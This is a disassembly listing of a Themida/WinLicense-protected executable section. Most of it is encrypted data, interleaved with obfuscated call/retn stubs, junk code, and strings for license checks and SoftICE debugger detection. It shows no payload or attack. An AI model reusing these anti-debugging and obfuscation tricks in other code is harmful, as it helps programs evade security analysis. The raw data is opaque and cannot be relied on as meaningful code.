dd 0D4D4769Ch, 8AAF587Fh, 58803870h, 0A1210AAFh, 800901BBh
dd 50FBAF58h, 912B3167h, 0B600966Ah, 7F89FF58h, 8FDAB320h
dd 6482399Bh, 82E4DB22h, 218EA996h, 5B8F3498h, 2B1FA821h
dd 15B19A9Dh, 24C28BAAh, 4C940ED2h, 58C93D2Ah, 0E5367B36h
dd 0C766C9B3h, 7CA35A8Eh, 86250BFBh, 6863Dh, 155CFB00h
dd 44012E91h, 723B5DC6h, 0A2E78B34h, 0D79ABB64h, 6DA5D453h
dd 9A0581CCh, 0CE71B5F8h, 0A3E7AEh, 1696145Dh, 6B76B2D4h
dd 0E4CB602h, 155CFF21h, 0CABB67F1h, 23357597h, 240FAF58h
dd 912802AAh, 0B1E3A407h, 3EAADC0Ah, 20B60358h, 46D29FBFh
dd 0CD6B9FB8h, 0A90F46E2h, 9B2F6606h, 766FFB7Dh, 427BB3EFh
dd 622B49D6h, 88C1643Dh, 23BA8750h, 0D9AA09F3h, 60Bh, 0A90D980h
dd 45C184A9h, 0B3F7BEDAh, 0E3276210h, 0D4521F40h, 47E82A4Fh
dd 7313BC0Ah, 2547E83Eh, 0D675DE6Ch, 49930B9Fh, 26AFB3Fh
dd 0A483C9B6h, 7EF45CFFh, 0C4ADFC93h, 55CE534Ch, 98327F36h
dd 94809213h, 7312DF80h, 71h, 155CFFD4h, 5EA6AA91h, 0AF57D7h
dd 0D768A0DAh, 0F15AAF57h, 9455F8A7h, 0B172BFF2h, 4750DD90h
dd 9631756Eh, 0C3699D26h, 0DB7BBEE0h, 27100996h, 0F177A1FAh
dd 0B60047D5h, 7D6684AFh, 0AF1096DFh, 6D68258Dh, 0EF96F16h
dd 0F46AAED8h, 0FF58B5FFh, 4896E006h, 0FCCD36C9h, 0E65FCC6Ch
dd 55Fh, 487F600h, 6062D1F7h, 9A2ADC96h, 0FA3E099Fh, 155CFFB1h
dd 0D1715288h, 298B1C9Ch, 0FFD27492h, 0C5B5FFE3h, 0CD36DC6Ah
dd 80BAE7AEh, 6EE0B572h, 84140D2Ch, 0F531781Bh, 0AD59E252h
dd 0AB53FA1Bh, 0BB6FC8BCh, 3708DB1Dh, 4680B776h, 0A50A43E5h
dd 0D97B2474h, 8BA90A90h, 0A1C45DC2h, 0BFE130E8h, 70B3EC7Bh
dd 4F68Fh, 85CC6B00h, 0B4F19E01h, 0E2ABCD76h, 1257FBA4h
dd 470A2B94h, 0DD3544C3h, 0AB5F1BCh, 3EE12568h, 70D3571Eh
dd 0A60684CDh, 6C060244h, 0BEFCB602h, 9D5CFF91h, 3C6DB2FBh
dd 2645DE43h, 5288C26Fh, 1B9DD071h, 3BBDFFA0h, 44E68ACFh
dd 50ECF109h, 0E8DB2D8Bh, 33AF589Dh, 0DF11ECD9h, 0FEDC0912h
dd 0F0D3FFFFh, 82A2034Eh, 0E33566CBh, 155CFFB8h, 16AD0F88h
dd 226F0FF0h, 77DA6CF6h, 69B5FFDDh, 0DD81B9C3h, 0E843B5FFh
dd 1195BE40h, 9BD06B6h, 0A81054FFh, 88A90ABCh, 8D662F4Dh
dd 9FA1F720h, 8CAD16B4h, 0ED4B5CC1h, 0FB9FC7Eh, 0FD5BCA8h
dd 64C980A4h, 0A50EE533h, 8FEBB995h, 18F5C1Fh, 1E70000h
dd 3640F425h, 57D79494h, 0FE086EAFh, 0AF57D6BAh, 0DDB6AF88h
dd 0ED6C9F29h, 0FD56B5FFh, 0A227D8Bh, 3B998FDAh, 0DD205A80h
dd 8396823Bh, 0E4347D20h, 0B6ACF15Ah, 0B99DA224h, 0E31AD499h
dd 7711729Dh, 70B8F13Eh, 8BE05B7h, 2A8A79FEh, 3AE04B9Dh
dd 0B8F0B5D9h, 5CEE14B2h, 9D2A8A5Ch, 7FF50D26h, 0ABC1FFAAh
dd 3457D850h, 0E786297Dh, 0EAA17AAEh, 0C4E70BFCh, 3BA7Bh
dd 41082F00h, 70355AC5h, 0A6EF892Ah, 0D693BF60h, 34EEF50h
dd 99793887h, 0CE71B5F8h, 0FAA5E1ACh, 2C97135Ah, 62FA4009h
dd 6D4A4EF8h, 0F238B602h, 0EA1CBA55h, 0AF57D6AEh, 3023BB94h
dd 327B2E04h, 0AB099E1Ah, 4050EA10h, 26B6034Eh, 4AD79EBDh
dd 1E39C751h, 2C6507E8h, 5E17359Eh, 6E2B47A8h, 0A5C859CAh
dd 4CF10E0Dh, 140D206Eh, 235F11F4h, 0DFA003F3h, 343h, 42D891B8h
dd 0BD094CE1h, 0EB3F7612h, 0DB6F2A48h, 0C9AD778h, 7F20F287h
dd 2B4BF432h, 0DD7F2066h, 8EAD1694h, 1DB43C7h, 26DC3C7h
dd 0DC7B81B6h, 88155CFFh, 893D7417h, 0E64B0226h, 0F68063B5h
dd 316040E1h, 0FAAF57D9h, 0DFD49782h, 0D3755E12h, 0C6A8409Ah
dd 78E7D9D6h, 0FD2C0230h, 0FF25FFFFh, 0EF1155Ch, 0DA11C06Ch
dd 0AAD90B41h, 5E8467B1h, 2B9CD975h, 0CEDF440Dh, 257FDD6Ah
dd 0C8B155C1h, 0F7B2DF87h, 1E81251Eh, 0D59CBC71h, 40EEB7FCh
dd 668C2C05h, 954924h, 8A103BB6h, 0FF2001ADh, 99912B5Dh
dd 6BAF57D7h, 0B933D7C0h, 86731C03h, 59831547h, 0BBBC2Fh
dd 79AD86B6h, 0BC71A9D3h, 0F853B600h, 0F0DEE8B0h, 0AB5E182Eh
dd 0F214B209h, 64C060ABh, 0A871BE99h, 0F10BBF04h, 6B689B78h
dd 9E9A2C4Ah, 646B689Bh, 0CB34D2CBh, 6CBDE2A7h, 9EBD26CCh
dd 4AB553D7h, 0EC3D622Bh, 940E34Ch, 0BE91E0DFh, 74CDEE3Dh
dd 237h, 46C48DACh, 0B1F5B0DDh, 0E7236A0Eh, 0D753163Ch
dd 86CB6Ch, 7B1CF6BBh, 2F4FF036h, 0D97B2462h, 8AA90A90h
dd 5E747C3h, 26EC7C3h, 0D07FBDB6h, 0D80EB5E7h, 26A5CAEh
dd 0D90D26B6h, 8B1F56F6h, 0E04D0428h, 0B3551C3Fh, 0F324C236h
dd 0E4EA5B58h, 59000001h, 9033773Eh, 0BF60A6E3h, 0E94AD099h
dd 19BA0045h, 6AF13578h, 0E7AACB47h, 135E00A3h, 41082C97h
dd 723B5AC5h, 10AAB034h, 0B6026F18h, 0E787ACEAh, 0AB1BEFB5h
dd 5224C35Bh, 0C91612B4h, 43ECAF58h, 0AD16BC6Ah, 9452C68Fh
dd 0B6035C86h, 0CC37D37Ch, 8AC768A9h, 1B21591h, 0F29F00A6h
dd 0E7316AB7h, 5BD9CB7Dh, 80ABB603h, 0ACE18223h, 7B1CBF07h
dd 0E657F036h, 251DAF5Bh, 1FB6035Ch, 86B9D8D5h, 5A33F6A4h
dd 60294CD5h, 0BDE043C3h, 0BB24BB15h, 2FB315Ch, 31781B84h
dd 0A20A2A95h, 69BBA8BBh, 921F08BBh, 0DAC1F99h, 4FD0FBF5h
dd 0DE6C2548h, 129FD675h, 0D670F091h, 0B60331D2h, 1AE87B0h
dd 858C15BEh, 0B81BAFE6h, 3255DA97h, 95D07D1Ch, 0BDF49708h
dd 87289D70h, 42E3C808h, 0BAF3957Eh, 0DD90B17Eh, 845E649h
dd 1612B4D2h, 0ECB60332h, 0AD76D543h, 9659C68Fh, 0CC6D743Dh
dd 0FB9A0581h, 0EFED6DB2h, 0EA6E7698h, 67224FB0h, 0D880E13Ah
dd 3AC0791h, 8A1059FCh, 0DE430A29h, 0C4692445h, 6933FC69h
dd 2466E286h, 6E7698E4h, 1C9C75DEh, 6DB9F093h, 0E527A3C2h
dd 6E7699A5h, 56DBB49Fh, 3E5467D5h, 0CE5367Bh, 0B465ACDEh
dd 155F751Eh, 8111E261h, 0E327105Ah, 9B4FF458h, 0C925F561h
dd 3F64CF7Bh, 3943C766h, 7BC92601h, 0FB9E68C3h, 34BF7B26h
dd 5E41655Eh, 0FB2C713Ch, 0C96CD7BDh, 0E9586961h, 0BA937C04h
dd 3C25F575h, 0AE4CCDADh, 0CC6C2945h, 0A4C7CE57h, 57F659EDh
dd 6210911Eh, 5E77FA27h, 0E6AFCED5h, 28609AC0h, 1ACDAD3Ch
dd 0E7A2D031h, 0AB2DCBB1h, 0ABC5FC95h, 41EE4A38h, 7DC66B22h
dd 1Bh, 5D183699h, 0A70FC7D0h, 38CAD710h, 0B0E4CF69h, 5E5AEC0Ah
dd 24AF57D7h, 0FF86AD0Bh, 138C1158h, 2BF43970h, 42E34009h
dd 5FC06D20h, 752E733Eh, 8B1499D4h, 0A47DA2E7h, 0BF60CD84h
dd 0FA4AD792h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch
dd 0E8682414h, 8900004Ch, 89512414h, 4C181E1h, 83000000h
dd 0C8704E9h, 3C895C24h, 4EC8324h, 0B9240C89h, 643155E0h
dd 9BC685BAh, 59CA3162h, 8904EC83h, 4812424h, 424h, 0AB685F00h
dd 8900005Bh, 478F2414h, 243C8B08h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_5517CE
; ---------------------------------------------------------------------------
db 0EAh
dd 43CBEDCEh, 0B844C8DDh, 6AA9AAFh, 0E0FFC503h, 43E9AF2Fh
dd 64194127h, 32C8440Ah, 51E98C9Bh, 710ACAE0h, 4A3CE43Dh
dd 474509D9h, 4F891D39h, 1C03DB9Fh, 3E629026h, 4B6D8269h
dd 0F4B9C48h, 1B8B9081h, 31C6607Ch, 8DE9h, 0BD836000h
dd 6A81521h, 5840F00h, 0E9000000h, 78h, 3E80006Ah, 8850F30h
dd 6A000000h, 35E94600h, 80000000h, 850F333Eh, 8, 0E946106Ah
dd 24h, 0F343E80h, 885h, 46306A00h, 13E9h, 353E8000h, 8850Fh
dd 406A0000h, 2E946h, 6A0000h, 0F203E80h, 1285h, 17E8000h
dd 8850F00h, 83000000h, 15E908C4h, 8D000000h, 0A826D185h
dd 4895006h, 96509624h, 95FF006Ah, 6A8142Dh, 85C6C361h
dd 6A815D5h, 1ECA684Dh, 3481CC2Eh, 1B686224h, 2DB5FF68h
dd 8D06A80Dh, 0A83AC385h, 89D0FF06h, 0A8142D85h, 0AAE906h
dd 6F530000h, 61777466h, 575C6572h, 694C6E69h, 736E6563h
dd 68430065h, 496B6365h, 7058004Eh, 45746F72h, 746978h
dd 63656843h, 54554F6Bh, 6E695700h, 6563694Ch, 5665736Eh
dd 69737265h, 57006E6Fh, 694C6E69h, 736E6563h, 69724465h
dd 56726576h, 69737265h, 57006E6Fh, 694C6E69h, 736E6563h
dd 736E4965h, 636E6174h, 78450065h, 6B4F7469h, 6F725000h
dd 4E4963h, 636F7250h, 54554Fh, 74697845h, 45004E49h, 4F746978h
dd 54005455h, 4E4970h, 3 dup(0)
dd 77DDAF7Fh, 77DD72F0h, 596E9h, 0CF858900h, 8D06AA9Ch
dd 0AA9CCB85h, 858D5006h, 6AA9C35h, 16850h, 95FF8000h
dd 6AA9CDBh, 0B5FF196Ah, 6AA9CCFh, 6A016Ah, 9C64858Dh
dd 0FF5006AAh, 0AA9CCBB5h, 0C995FF06h, 0FF06A81Eh, 0AA9CCBB5h
dd 0D795FF06h, 0FF06AA9Ch, 0AA9CCBB5h, 9195FF06h, 0C306A807h
dd 9CCF8589h, 858D06AAh, 6AA9CCBh, 35858D50h, 5006AA9Ch
dd 168h, 0DB95FF80h, 6A06AA9Ch, 0CF858D04h, 5006AA9Ch
dd 6A046Ah, 9C8E858Dh, 0FF5006AAh, 0AA9CCBB5h, 0C995FF06h
dd 0FF06A81Eh, 0AA9CCBB5h, 0D795FF06h, 0FF06AA9Ch, 0AA9CCBB5h
dd 9195FF06h, 0C306A807h, 9CCF8589h, 858D06AAh, 6AA9CCBh
dd 35858D50h, 5006AA9Ch, 168h, 0DB95FF80h, 6A06AA9Ch, 0CF858D04h
dd 5006AA9Ch, 6A046Ah, 9C76858Dh, 0FF5006AAh, 0AA9CCBB5h
dd 0C995FF06h, 0FF06A81Eh, 0AA9CCBB5h, 0D795FF06h, 0FF06AA9Ch
dd 0AA9CCBB5h, 9195FF06h, 0C306A807h, 9CCF8589h, 858D06AAh
dd 6AA9CCBh, 35858D50h, 5006AA9Ch, 168h, 0DB95FF80h, 6A06AA9Ch
dd 0CF858D04h, 5006AA9Ch, 6A046Ah, 9CA1858Dh, 0FF5006AAh
dd 0AA9CCBB5h, 0C995FF06h, 0FF06A81Eh, 0AA9CCBB5h, 0D795FF06h
dd 0FF06AA9Ch, 0AA9CCBB5h, 9195FF06h, 0C306A807h, 9CCF8589h
dd 858D06AAh, 6AA9CCBh, 35858D50h, 5006AA9Ch, 168h, 0DB95FF80h
dd 6A06AA9Ch, 0CF858D04h, 5006AA9Ch, 6A046Ah, 9C51858Dh
dd 0FF5006AAh, 0AA9CCBB5h, 0C995FF06h, 0FF06A81Eh, 0AA9CCBB5h
dd 0D795FF06h, 0FF06AA9Ch, 0AA9CCBB5h, 9195FF06h, 0C306A807h
dd 32A1BD83h, 0F0006A8h, 0B84h, 0A19D8B00h, 8306A832h
dd 3894CC3h, 0A1BD83C3h, 6A832h, 0B840Fh, 9D8B0000h, 6A832A1h
dd 8950C383h, 0BD83C303h, 6A832A1h, 0B840F00h, 8B000000h
dd 0A832A19Dh, 54C38306h, 83C30389h, 0A832A1BDh, 840F0006h
dd 0Bh, 32A19D8Bh, 0C38306A8h, 0C3038958h, 32A1BD83h, 0F0006A8h
dd 0B84h, 0A19D8B00h, 8306A832h, 3895CC3h, 8960C3C3h, 0AA9CCF85h
dd 0CB858D06h, 5006AA9Ch, 9C35858Dh, 685006AAh, 80000001h
dd 9CDB95FFh, 46A06AAh, 9CCF858Dh, 6A5006AAh, 8D006A04h
dd 0AA9CC685h, 0B5FF5006h, 6AA9CCBh, 1EC995FFh, 0BD8306A8h
dd 6A81ED9h, 0C840F00h, 0FF000000h, 0AA9CCBB5h, 0D795FF06h
dd 0FF06AA9Ch, 0AA9CCBB5h, 9195FF06h, 6106A807h, 858960C3h
dd 6AA9CCFh, 9CCB858Dh, 8D5006AAh, 0AA9C3585h, 1685006h
dd 0FF800000h, 0AA9CDB95h, 8D046A06h, 0AA9CCF85h, 46A5006h
dd 858D006Ah, 6AA9CA8h, 0CBB5FF50h, 0FF06AA9Ch, 0A81EC995h
dd 0D9BD8306h, 6A81Eh, 0C840Fh, 0B5FF0000h, 6AA9CCBh, 9CD795FFh
dd 0B5FF06AAh, 6AA9CCBh, 79195FFh, 0C36106A8h, 0CF858960h
dd 8D06AA9Ch, 0AA9CCB85h, 858D5006h, 6AA9C35h, 16850h
dd 95FF8000h, 6AA9CDBh, 858D046Ah, 6AA9CCFh, 6A046A50h
dd 0AF858D00h, 5006AA9Ch, 9CCBB5FFh, 95FF06AAh, 6A81EC9h
dd 1ED9BD83h, 0F0006A8h, 0C84h, 0CBB5FF00h, 0FF06AA9Ch
dd 0AA9CD795h, 0CBB5FF06h, 0FF06AA9Ch, 0A8079195h, 60C36106h
dd 9CCF8589h, 858D06AAh, 6AA9CCBh, 35858D50h, 5006AA9Ch
dd 168h, 0DB95FF80h, 6A06AA9Ch, 0CF858D04h, 5006AA9Ch
dd 6A046Ah, 9CB7858Dh, 0FF5006AAh, 0AA9CCBB5h, 0C995FF06h
dd 8306A81Eh, 0A81ED9BDh, 840F0006h, 0Ch, 9CCBB5FFh, 95FF06AAh
dd 6AA9CD7h, 9CCBB5FFh, 95FF06AAh, 6A80791h, 8960C361h
dd 0AA9CCF85h, 0CB858D06h, 5006AA9Ch, 9C35858Dh, 685006AAh
dd 80000001h, 9CDB95FFh, 46A06AAh, 9CCF858Dh, 6A5006AAh
dd 8D006A04h, 0AA9CBE85h, 0B5FF5006h, 6AA9CCBh, 1EC995FFh
dd 0BD8306A8h, 6A81ED9h, 0C840F00h, 0FF000000h, 0AA9CCBB5h
dd 0D795FF06h, 0FF06AA9Ch, 0AA9CCBB5h, 9195FF06h, 6106A807h
dd 85C760C3h, 6AA9CCFh, 1, 9CCB858Dh, 8D5006AAh, 0AA9C3585h
dd 2685006h, 0FF800000h, 0AA9CDB95h, 0FC00B06h, 0F84h
dd 0CF85C700h, 6AA9Ch, 0E9000000h, 4Dh, 858D046Ah, 6AA9CCFh
dd 6A046A50h, 49858D00h, 5006AA9Ch, 9CCBB5FFh, 95FF06AAh
dd 6A81EC9h, 840FC00Bh, 0Fh, 9CCF85C7h, 6AAh, 0AE90000h
dd 0C7000000h, 0AA9CCF85h, 106h, 0CBB5FF00h, 0FF06AA9Ch
dd 0A8079195h, 858B6106h, 6AA9CCFh, 858960C3h, 6AA9CCFh
dd 9CCB858Dh, 8D5006AAh, 0AA9C3585h, 1685006h, 0FF800000h
dd 0AA9CDB95h, 8D046A06h, 0AA9CCF85h, 46A5006h, 858D006Ah
dd 6AA9C49h, 0CBB5FF50h, 0FF06AA9Ch, 0A81EC995h, 0D9BD8306h
dd 6A81Eh, 0C840Fh, 0B5FF0000h, 6AA9CCBh, 9CD795FFh, 0B5FF06AAh
dd 6AA9CCBh, 79195FFh, 0C36106A8h, 0CF858960h, 8D06AA9Ch
dd 0AA9CCB85h, 858D5006h, 6AA9C35h, 16850h, 95FF8000h
dd 6AA9CDBh, 858D046Ah, 6AA9CCFh, 6A046A50h, 5B858D00h
dd 5006AA9Ch, 9CCBB5FFh, 95FF06AAh, 6A81EC9h, 1ED9BD83h
dd 0F0006A8h, 0C84h, 0CBB5FF00h, 0FF06AA9Ch, 0AA9CD795h
dd 0CBB5FF06h, 0FF06AA9Ch, 0A8079195h, 0C6C36106h, 0A815D585h
dd 7685206h, 0FFADE47Bh, 0A8069DB5h, 7D95FF06h, 8906A82Dh
dd 0AA9CDB85h, 0D585C606h, 5206A815h, 2E00E568h, 9DB5FF90h
dd 0FF06A806h, 0A82D7D95h, 0D7858906h, 0C606AA9Ch, 0A815D585h
dd 35685206h, 0FFB9BF12h, 0A8069DB5h, 7D95FF06h, 8906A82Dh
dd 0A81EC985h, 0D585C606h, 5206A815h, 78103468h, 9DB5FF98h
dd 0FF06A806h, 0A82D7D95h, 91858906h, 0C606A807h, 0A815D585h
dd 0D4685206h, 0FFC005DBh, 0A8069DB5h, 7D95FF06h, 8906A82Dh
dd 0A80D1185h, 7E806h, 37130000h, 0DF7B52A8h, 0FE8E1h
dd 7B420000h, 5CE3DA6Fh, 98814C78h, 0FC0B0EC6h, 959EBE86h
dd 59583145h, 13E9h, 3E133B00h, 2742BE83h, 7302A3A7h, 656B5238h
dd 9444F8F2h, 5C63C181h, 13E90000h, 56000000h, 3EE9A20Fh
dd 8476F119h, 53D5691Dh, 0B18C8F49h, 68650Ah, 66000000h
dd 47A1D081h, 0D68B665Bh, 56193C8Bh, 5EC18B56h, 3FC78158h
dd 8172E841h, 0FC785EE6h, 0BEF8127h, 0B8296C9Dh, 6BE5C20Dh
dd 453FEF81h, 81575E5Ch, 437E48F0h, 19048F08h, 60F3B70Fh
dd 0EE8D78Bh, 11000000h, 18D2711Fh, 57F6B40Fh, 0E5A860A9h
dd 81615882h, 0EA0574EBh, 0B1EC803Bh, 570C381h, 80603BEAh
dd 8C0F27CCh, 4, 0F435B866h, 0B8FB8161h, 0FFFFFA4h, 2885h
dd 0CE900h, 0AA8F0000h, 7D1E96B6h, 41F6C650h, 2EE98879h
dd 7B000000h, 0BE845930h, 0C5EFD5DDh, 6620D8A3h, 8AEB73A3h
dd 0C68B66B6h, 0FFFF5BE9h, 0BA6FDBFFh, 1B2D585Fh, 4A787A6Fh
dd 7A2FAA6Eh, 47BCF338h, 5C1EEB05h, 535C2E5Ch, 454349h
dd 5C2E5C5Ch, 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h
dd 8BC08B00h, 0D9BD83D3h, 6A81Eh, 0BD830975h, 6A82DE9h
dd 50197400h, 0B8C08B53h, 40Fh, 7B58589h, 9D8D06A8h, 6AAA1ACh
dd 585BD3FFh, 2DE9BD83h, 740006A8h, 0B8535017h, 40Fh, 7B58589h
dd 9D8D06A8h, 6AA9E9Bh, 585BD3FFh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 0F6C35040h, 0D18B0AC1h, 38A0Fh
dd 0B70F0000h, 998509FFh, 8B06A832h, 0C6F08BC0h
dd 0A815D585h, 0BF0F4306h, 925968C9h, 19B29C84h, 0A3240481h
dd 802009DCh, 0B5FFCFD2h, 6A831F9h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 0F1C35747h, 0EB9A6C27h, 0BE535A33h
dd 667E855Ah, 4D8D0B5Fh, 8D06A82Ah, 0A83AC385h, 0C9958906h
dd 0FF06A81Bh, 57006AD0h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1404h, 0C3574700h, 208E0F95h, 0E8000000h
dd 14h, 0EB614CD8h, 0D357D0h, 7A594E5Fh, 0D3C22402h, 2A0018DDh
dd 2115B58Bh, 0E95906A8h, 13h, 6240C8F9h, 3C33753Ch, 41D34654h
dd 0B8E717ACh, 90016F08h, 0C4EDAEB9h, 810F5010h, 0Ch, 6890Fh
dd 880F0000h, 0
db 90h
; ---------------------------------------------------------------------------
mov dl, 0CCh
push 0
push 0
push edi
call sub_573FC4
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_573FC4 proc near ; CODE XREF: Themida_:00573FBCp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_573FC4 endp
; ---------------------------------------------------------------------------
mov ds:3475AC8h, eax
pusha
add al, [edx]
pop esp
test eax, 7E8h
add [ebx], dh
xor eax, [edx-681088CFh]
or [ebp+6A831D9h], edx
pop ecx
call near ptr loc_573FF9+1
add byte ptr [eax], 0
loc_573FF9: ; CODE XREF: Themida_:00573FF1p
add [edi+77977F71h], bh
push eax
mov edi, 34A04A7Eh
mov eax, [esp+4]
call near ptr loc_574017+2
stc
jo short loc_57406F
mov es, cx
jb short near ptr loc_574040+2
jge short loc_574094
loc_574017: ; CODE XREF: Themida_:00574009p
lea edx, [ebx-17h]
add eax, 4000000h
and eax, 59A17BACh
mov eax, [eax]
mov dx, si
mov [esp+4], eax
mov edi, 0EC044C2h
pop eax
clc
push 3
push 0
push 0
push ebx
call sub_574043
loc_574040: ; CODE XREF: Themida_:00574013j
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_574043 proc near ; CODE XREF: Themida_:0057403Bp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_574043 endp
; ---------------------------------------------------------------------------
db 0A7h
dd 66622C37h, 36AD78Bh, 50F28166h, 4E8BAh, 0
dd 0D8BAC000h
db 40h, 67h, 1Bh
; ---------------------------------------------------------------------------
loc_57406F: ; CODE XREF: Themida_:0057400Fj
push eax
pusha
jz loc_57407A
mov cx, bx
loc_57407A: ; CODE XREF: Themida_:00574071j
mov dx, 94Fh
popa
mov eax, [esp+4]
pusha
mov di, cx
mov bx, 0BB29h
popa
mov eax, [eax]
mov edi, eax
mov [esp+4], eax
loc_574094: ; CODE XREF: Themida_:00574015j
mov dx, si
pop eax
push 0
push edx
call sub_5740A3
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5740A3 proc near ; CODE XREF: Themida_:0057409Bp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5740A3 endp
; ---------------------------------------------------------------------------
db 7Fh
dd 0B2252A85h, 9A837A10h, 958D8B50h, 5E06A802h, 0A4369D8Dh
dd 6A06AAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 0DBA241C3h, 34B88320h, 37D280AEh, 0EA9B950h
dd 1C890B28h, 0B70F5024h, 0F605AD7h, 68Ah, 11B52900h, 306A82Eh
dd 0A80D91B5h, 0D0FF6106h, 0CE9h, 0D8D23100h, 6322CED9h
dd 0B8924E36h, 850F400Dh, 309h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 64C35141h, 0E98D8B83h, 5806A832h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0B4C35747h
dd 7C8A89EDh, 10819424h, 90D68B66h, 6870F60h, 50000000h
dd 5A310F52h, 61CE8A58h, 0CE950h, 35580000h, 7E3B7BFEh
dd 5D2C2853h, 6A903DFAh, 11E900h, 41040000h, 0FF09CA7Fh
dd 381AF093h, 2E225B93h, 68A2E0FAh, 5480EA32h, 5E9h, 74445800h
dd 348170FDh, 80EAB224h, 0E99D8954h, 6A06A821h, 56006A03h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 0A80D5319h, 5890F68h, 0B9000000h, 708F19CEh, 8D8B006Ah
dd 6A806E5h, 6A036Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 170424h, 57470000h, 5FEB06C3h, 618D8B03h, 6806A827h
dd 59590317h, 0CE780EBAh, 2404812Fh, 66A6FCE9h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 12C35040h, 8589FD17h
dd 6A81A8Dh, 0A43F9D8Dh, 0BA6006AAh, 7CC83985h, 118B0Fh
dd 0BE80000h, 2C000000h, 72555913h, 5F605659h, 6159656Eh
dd 50EC8A93h, 0D98B6660h, 2830Fh, 61600000h, 0CE99361h
dd 6A000000h, 9691946h, 0C9D288DCh, 0FFD69A19h, 15810FD0h
dd 0E8000000h, 0Ch, 9945070Bh, 0E24EC6D8h, 1E0A90D9h, 5EF9B70Fh
dd 6A850F40h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 14042444h, 45000000h, 66B8C355h, 58D9E0BEh
dd 0CE816660h, 1FB531ACh, 0B7605061h, 4896121h, 0D5B58924h
dd 6A06A806h, 0ADB58900h, 0B606A80Eh, 2CA268B8h, 0DE8E781h
dd 0E0000000h, 66A36B90h, 3F8653FCh, 0EE9E0B00h, 7E952h
dd 6B560000h, 1F769AB9h, 815A5A4Ch, 0D3DE2404h, 0B531187Eh
dd 6A80525h, 0F28B036Ah, 20B58589h, 6A06A8h, 6A95DE80h
dd 0EE903h, 66EC0000h, 999A8A77h, 1AAF7307h, 8A19D9DDh
dd 4E8h, 0
dd 525050C0h, 310FCF8Bh, 0D41CBA66h, 448B585Ah, 8B660424h
dd 0E9008BFEh, 0Eh, 71207969h, 96E8136Dh, 81FDF7C8h, 448997DFh
dd 8B660424h, 8D2958CBh, 6A82761h, 0A44A9D8Dh, 820F06AAh
dd 8, 19BD8956h, 5F06A82Ah, 0F659589h, 669306A8h, 8B50FA8Bh
dd 8D8993D7h, 6A8219Dh, 68C0Fh, 0BD290000h, 6A832C1h, 0F40D0FFh
dd 5485h, 0E9853100h, 5806A81Bh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ch, 90C35545h, 0BFCC8477h, 0CFD53D44h
dd 118E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 0A78F6AD6h, 50D1B7DBh, 66D88B6Ah
dd 0B726E981h, 0F8BF664Bh, 0EB8A58F6h, 15D585C6h, 6A4306A8h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 8FEDC356h, 0E6816660h, 0B468F11Ch, 8BF9B84Fh
dd 243481D6h, 39CE0513h, 0C1958B57h, 5E06A80Ah, 31F9B5FFh
dd 6A06A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 0F1EC42C3h, 874D173h, 85BD298Bh, 0F06A82Fh
dd 86h, 0B1BD8900h, 8D06A829h, 0A83AC385h, 5D8D8906h, 0FF06A80Bh
dd 0F18D09D0h, 5006A81Bh, 0AC8734B9h, 241C8901h, 28F0Fh
dd 0CF8B0000h, 9E8h, 2CDE4000h, 9586993Bh, 0BE96031h, 0E1000000h
dd 107870Fh, 3299BF77h, 0FF5ED64Eh, 209D8DD0h, 8B06A871h
dd 0A82F4195h, 0C9816606h, 1B86E01h, 23000000h, 0A820018Dh
dd 89E3FF06h, 0A825ADBDh, 6AC18B06h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 3EDFC351h
dd 8B7AED37h, 0A821098Dh, 8BC08B06h, 0A80F0595h, 0D9BD8306h
dd 6A81Eh, 0BD830975h, 6A82DE9h, 50197400h, 0B8C08B53h
dd 40Fh, 0FD58589h, 9D8D06A8h, 6AAA213h, 585BD3FFh, 2DE9BD83h
dd 740006A8h, 0B8535017h, 40Fh, 0FD58589h, 9D8D06A8h, 6AA9EB4h
dd 585BD3FFh, 1E398589h, 8A0F06A8h, 4, 21DDBA66h, 12E8h
dd 0F6DDF900h, 0BB7801CEh, 891BD70Ah, 38BA3E98h, 8B30C7B3h
dd 0A80BFD8Dh, 0C08B5E06h, 11E8h, 76AB4600h, 4DD9A98Eh
dd 0A5A5F55Fh, 2A595E95h, 0C4BFCE81h, 5952F8A6h, 18870Fh
dd 13E90000h, 31000000h, 39639BABh, 3DF8DB1h, 381FC238h
dd 0EEB5465Eh, 0C1818091h, 6C8Bh, 68C0Fh, 0BD010000h, 6A81D49h
dd 68h, 8EC38100h, 5A1102A9h, 0E85BD8Bh, 48B06A8h, 498D8911h
dd 8106A815h, 1CB3ADE8h, 0B9B52918h, 8106A819h, 0A66242E8h
